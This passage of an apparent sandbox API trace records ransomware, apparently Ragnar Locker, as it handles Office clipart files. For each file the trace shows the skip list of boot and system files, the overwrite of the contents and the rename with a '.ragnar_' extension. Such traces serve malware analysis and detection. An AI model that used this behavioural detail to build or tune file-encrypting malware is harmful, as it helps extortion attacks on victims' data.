lpString2="bootmgfw.efi") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="desktop.ini") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="iconcache.db") returned 1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="ntldr") returned -1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="ntuser.dat") returned -1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="ntuser.dat.log") returned -1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="ntuser.ini") returned -1 [0085.220] lstrcmpiW (lpString1="J0174315.WMF", lpString2="thumbs.db") returned -1 [0085.220] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.220] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.220] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.220] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.220] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.220] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.220] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.220] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf")) returned 0x20 [0085.220] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.220] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5864) returned 1 [0085.220] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16df, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.220] GetProcessHeap () returned 0x580000 [0085.221] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.221] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.222] VirtualAlloc (lpAddress=0x0, dwSize=0x16e8, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.222] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.222] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x16e8, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x16e8, lpOverlapped=0x0) returned 1 [0085.223] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.223] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x16e8, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.223] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x16e8, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x16e8, lpOverlapped=0x0) returned 1 [0085.223] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x16e8, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.223] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.224] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x16e8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.224] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.224] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.224] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.224] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.224] GetProcessHeap () returned 0x580000 [0085.224] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.224] CloseHandle (hObject=0xf4) returned 1 [0085.224] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" [0085.224] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.ragnar_FD7BD9FC" [0085.224] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174315.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174315.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.225] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2608, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174635.WMF", cAlternateFileName="")) returned 1 [0085.225] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.225] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0174635.WMF" | out: lpString1="J0174635.WMF") returned="J0174635.WMF" [0085.225] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned=".WMF" [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="autorun.inf") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="boot.ini") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="bootfont.bin") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="bootsect.bak") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="bootmgr") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="bootmgr.efi") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="bootmgfw.efi") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="desktop.ini") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="iconcache.db") returned 1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="ntldr") returned -1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="ntuser.dat") returned -1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="ntuser.dat.log") returned -1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="ntuser.ini") returned -1 [0085.225] lstrcmpiW (lpString1="J0174635.WMF", lpString2="thumbs.db") returned -1 [0085.225] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.225] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.225] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.225] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.225] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.225] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.225] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.226] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf")) returned 0x20 [0085.226] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.226] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=9736) returned 1 [0085.226] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x25ff, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.226] GetProcessHeap () returned 0x580000 [0085.226] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.226] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.227] VirtualAlloc (lpAddress=0x0, dwSize=0x2608, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.228] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2608, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2608, lpOverlapped=0x0) returned 1 [0085.228] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.229] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2608, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.229] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2608, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2608, lpOverlapped=0x0) returned 1 [0085.229] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2608, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.229] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.229] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2608, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.229] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.229] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.229] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.229] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.229] GetProcessHeap () returned 0x580000 [0085.229] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.230] CloseHandle (hObject=0xf4) returned 1 [0085.230] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" [0085.230] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.ragnar_FD7BD9FC" [0085.230] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174635.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174635.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.230] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f99890, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174639.WMF", cAlternateFileName="")) returned 1 [0085.230] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.230] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0174639.WMF" | out: lpString1="J0174639.WMF") returned="J0174639.WMF" [0085.230] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned=".WMF" [0085.230] lstrcmpiW (lpString1="J0174639.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.230] lstrcmpiW (lpString1="J0174639.WMF", lpString2="autorun.inf") returned 1 [0085.230] lstrcmpiW (lpString1="J0174639.WMF", lpString2="boot.ini") returned 1 [0085.230] lstrcmpiW (lpString1="J0174639.WMF", lpString2="bootfont.bin") returned 1 [0085.230] lstrcmpiW (lpString1="J0174639.WMF", lpString2="bootsect.bak") returned 1 [0085.230] lstrcmpiW (lpString1="J0174639.WMF", lpString2="bootmgr") returned 1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="bootmgr.efi") returned 1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="bootmgfw.efi") returned 1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="desktop.ini") returned 1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="iconcache.db") returned 1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="ntldr") returned -1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="ntuser.dat") returned -1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="ntuser.dat.log") returned -1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="ntuser.ini") returned -1 [0085.231] lstrcmpiW (lpString1="J0174639.WMF", lpString2="thumbs.db") returned -1 [0085.231] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0085.231] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0085.231] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0085.231] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0085.231] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0085.231] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0085.231] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0085.231] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf")) returned 0x20 [0085.231] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0085.231] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=5100) returned 1 [0085.232] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13e3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.232] GetProcessHeap () returned 0x580000 [0085.232] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0085.232] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0085.233] VirtualAlloc (lpAddress=0x0, dwSize=0x13ec, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0085.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.233] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0085.234] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x13ec, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x13ec, lpOverlapped=0x0) returned 1 [0085.234] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0085.234] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x13ec, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.234] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x13ec, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x13ec, lpOverlapped=0x0) returned 1 [0085.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x13ec, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.235] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0085.235] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x13ec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0085.235] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0085.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.235] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0085.235] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0085.235] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0085.235] GetProcessHeap () returned 0x580000 [0085.235] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0085.235] CloseHandle (hObject=0xf4) returned 1 [0085.235] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" [0085.235] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.ragnar_FD7BD9FC" [0085.235] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174639.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0174639.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0085.236] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5649e8f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6196, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0174952.JPG", cAlternateFileName="")) returned 1 [0085.236] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0085.236] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0174952.JPG" | out: lpString1="J0174952.JPG") returned="J0174952.JPG" [0085.236] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0174952.JPG") returned=".JPG" [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="autorun.inf") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="boot.ini") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="bootfont.bin") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="bootsect.bak") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="bootmgr") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="bootmgr.efi") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="bootmgfw.efi") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="desktop.ini") returned 1 [0085.236] lstrcmpiW (lpString1="J0174952.JPG", lpString2="iconcache.db") returned 1 [0085.237] lstrcmpiW (lpString1="J0174952.JPG", lpString2="ntldr") returned -1 [0085.237] lstrcmpiW (lpString1="J0174952.JPG", lpString2="ntuser.dat") returned -1 [0085.237] lstrcmpiW (lpString1="J0174952.JPG", lpString2="ntuser.dat.log") returned -1 [0085.237] lstrcmpiW (lpString1="J0174952.JPG", lpString2="ntuser.ini") returned -1 [0085.237] lstrcmpiW (lpString1="J0174952.JPG", lpString2="thumbs.db") returned -1 [0085.237] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0085.237] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0085.237] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0085.237] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0085.237] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0085.237] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0085.237] lstrcmpiW 